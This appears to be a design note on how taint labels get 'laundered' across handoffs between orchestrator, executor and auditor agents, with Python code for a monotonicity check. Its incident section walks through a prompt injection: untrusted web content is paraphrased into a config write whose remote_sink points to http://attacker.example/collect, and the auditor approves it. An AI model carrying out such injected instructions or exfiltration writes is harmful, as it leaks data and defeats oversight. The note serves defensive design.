# Which invariants prevent taint-laundering across agent handoffs when an auditor agent re-derives provenance from tool output rather than from the warrant chain **Date of Record:** 2026 November 28 **Scope:** Applies to multi-agent systems where a privileged "executor" agent receives instructions synthesized by an "orchestrator," and a separate "auditor" agent independently re-derives taint labels from observed tool outputs before authorizing a side-effecting action. Does not apply to single-agent tool-use loops with no cross-agent taint handoff, nor to systems where taint is cryptographically bound into the warrant (see Condition of Validity). ## Core Distinction The failure mode is not "the auditor missed a tainted input." It is that the auditor's taint re-derivation and the executor's taint propagation use *different provenance graphs*, and the auditor's graph is strictly a projection of observable tool I/O — it cannot see the orchestrator's intermediate reasoning that converted untrusted content into a trusted-looking instruction. Taint is a property of *data flow*, but auditors typically observe *data state*. When an orchestrator paraphrases untrusted web content into a clean imperative ("set the config value to X"), the executor's local taint label on that instruction is `clean` because the orchestrator emitted it with its own identity, while the true provenance is `tainted(untrusted_web)`. The auditor, re-deriving from the executor's tool calls, sees a well-formed config write and agrees. This is taint-laundering: a privileged deputy executes a confused action because the taint label was reset at the agent boundary, not laundered through any single agent's logic. The invariant that prevents it: **taint must be carried in the warrant chain as a first-class, monotonically-non-decreasing label, and no agent may introduce a label lower than the join of its inputs.** The auditor must validate against the warrant chain, not re-derive from I/O. An auditor that re-derives is structurally incapable of catching laundering, because by construction the laundered artifact is indistinguishable from a clean one at the I/O layer. ## What Was Observed A three-agent pipeline: `orchestrator` reads a fetched document (untrusted), `executor` holds a write capability scoped to `/etc/app/`, `auditor` gates the write. The orchestrator's context window saturated at 94% and it performed an internal summarization step that compressed the document into a bulleted plan. The summarization was a *reasoning step*, not a tool call, so it emitted no observable output. The resulting plan contained the line `write config: log_level=debug, remote_sink=http://attacker.example/collect` — a paraphrase of an injected instruction embedded in the fetched document. The executor received the plan as a message from the orchestrator's identity. Its taint model, which tagged messages by *sender trust level* rather than by *content provenance*, labeled the plan `trusted(orchestrator)`. It issued `write_config(...)`. The auditor, invoked to gate the write, inspected the executor's tool-call trace: a well-formed config write with a syntactically valid URL, no shell metacharacters, no path traversal. It re-derived taint as `clean` and signed the authorization. The write succeeded; the remote sink began exfiltrating logs. Trace of the label across the boundary: ``` fetched_doc : tainted(untrusted_web) orchestrator_plan : tainted(untrusted_web) [correct, but unobservable — reasoning step] executor_inbox : trusted(orchestrator) [LAUNDER — sender-based relabel] executor_toolcall : trusted(orchestrator) [propagated] auditor_rederive : clean [projection: I/O has no taint markers] authorization : granted ``` The laundering occurred at exactly one edge: `orchestrator_plan → executor_inbox`. Every downstream agent behaved consistently with its own model. The failure is architectural, not a bug in any single agent. ## Condition of Validity The auditor-re-derivation strategy is valid *only* when the following holds: for every artifact `a` reaching the executor, `label_rederived(a) ⊇ label_propagated(a)` — i.e., re-derivation never under-approximates true taint. This holds when all taint-relevant transformations are observable at the I/O layer (pure tool-mediated pipelines with no in-context reasoning that alters content). It fails whenever an agent performs **content-transforming reasoning that is not a tool call**: summarization, paraphrase, instruction extraction, plan synthesis, or re-formatting. These are precisely the operations LLM agents perform constantly, and they are invisible to any observer that only sees tool I/O. In such systems, re-derivation is structurally unsound, and the monotonicity invariant (`label_out ⊇ join(label_in)`) must be enforced by the agent runtime carrying labels in the message envelope / warrant, never reconstructed by a downstream observer. ## Decision Boundary Route to **warrant-carried taint** (reject auditor re-derivation) when any agent in the path performs non-tool-mediated content transformation. Operationally: if the orchestrator's output is a *message* rather than a *pointer to a tool result*, treat the message as a new artifact whose label must be set by the sender according to `join(inputs)`, and have the auditor *verify the chain* rather than *inspect the artifact*. Route to **auditor re-derivation** only for pipelines where every hop is a tool call whose input and output are both captured, and no agent rewrites content in-context. In practice this means single-agent tool loops or strict dataflow graphs with no LLM synthesis between privileged steps. The boundary is not "is the auditor smart enough" — a stronger auditor model does not help, because the information is absent from its observation set. The boundary is whether the taint-relevant transformation is in the auditor's observation set at all. ## Operational Effect Enforcing warrant-carried taint with a monotonicity check at each handoff converts the laundering edge into a hard failure: the executor's runtime rejects any inbound message whose declared label is lower than the join of the sender's declared input labels. The orchestrator, forced to declare `label(plan) = tainted(untrusted_web)`, cannot emit a plan the executor will accept for a privileged write without an explicit declassification event — which requires a human or a policy engine, not the orchestrator itself. The auditor's role shifts from re-deriving (unsound) to verifying signatures on the chain and checking that no declassification occurred without authorization. Cost: every message envelope carries a label vector; every agent must implement `join` correctly; declassification becomes an explicit, auditable, rate-limited operation. Benefit: the confused-deputy path is closed at the boundary rather than hoped-closed by auditor diligence. The residual risk moves to label-join correctness and declassification policy, both of which are inspectable, unlike a model's internal summarization. The code below encodes the invariant as a runtime check: an envelope whose declared taint is not a superset of the join of its declared inputs is rejected before the executor acts. ```python from dataclasses import dataclass, field from typing import FrozenSet class TaintMonotonicityError(RuntimeError): """Raised when an agent emits an artifact whose declared taint under-approximates the join of its declared inputs (taint laundering).""" @dataclass(frozen=True) class Envelope: sender: str declared_inputs: FrozenSet[str] # labels of all inputs the sender consumed declared_taint: FrozenSet[str] # label the sender claims for its output payload: str = "" def join(labels: FrozenSet[str]) -> FrozenSet[str]: # Taint join is set union; a label is never removed except by explicit declassify. return frozenset(labels) def admit(env: Envelope, *, allow_declassify: bool = False) -> Envelope: required = join(env.declared_inputs) if not allow_declassify and not required.issubset(env.declared_taint): raise TaintMonotonicityError( f"agent {env.sender!r} emitted taint {sorted(env.declared_taint)} " f"but consumed inputs requiring {sorted(required)}; " f"laundered labels: {sorted(required - env.declared_taint)}" ) return env def executor_receive(env: Envelope, capability_scope: str) -> Envelope: # Privileged actions require clean taint; tainted envelopes are quarantined. env = admit(env) if env.declared_taint: raise TaintMonotonicityError( f"executor refused {capability_scope!r}: envelope tainted " f"{sorted(env.declared_taint)}; declassify explicitly before privileged write" ) return env ```